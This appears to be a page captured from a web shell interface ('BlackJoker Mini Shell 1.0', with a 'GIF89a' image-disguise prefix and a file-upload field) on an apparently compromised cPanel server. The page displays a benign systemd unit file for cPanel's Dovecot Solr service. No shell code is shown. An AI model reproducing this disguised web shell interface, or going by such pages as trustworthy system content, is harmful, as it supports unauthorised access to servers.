GIF89a; Mini Shell

Mini Shell

Direktori : /etc/systemd/system/
Upload File :
Current File : //etc/systemd/system/cpanel-dovecot-solr.service

[Unit]
Description=Solr for cPanel Dovecot
Before=dovecot.service
After=syslog.target network.target remote-fs.target nss-lookup.target

[Service]
Type=forking
EnvironmentFile=/etc/sysconfig/cpanel-dovecot-solr
User=cpanelsolr
PermissionsStartOnly=true
ExecStartPre=/usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_firewall start
ExecStart=/home/cpanelsolr/bin/solr start -noprompt -h ${SOLR_HOSTNAME} -p ${SOLR_PORT} -m ${SOLR_MEMORY} -a "${SOLR_JVM_OPTS}"
ExecStop=/home/cpanelsolr/bin/solr stop
ExecStartPost=/usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_firewall stop

# Solr recommendations:
LimitNOFILE=65000
LimitNPROC=65000

[Install]
WantedBy=multi-user.target
Alias=cpanel_dovecot_solr.service

./BlackJoker Mini Shell 1.0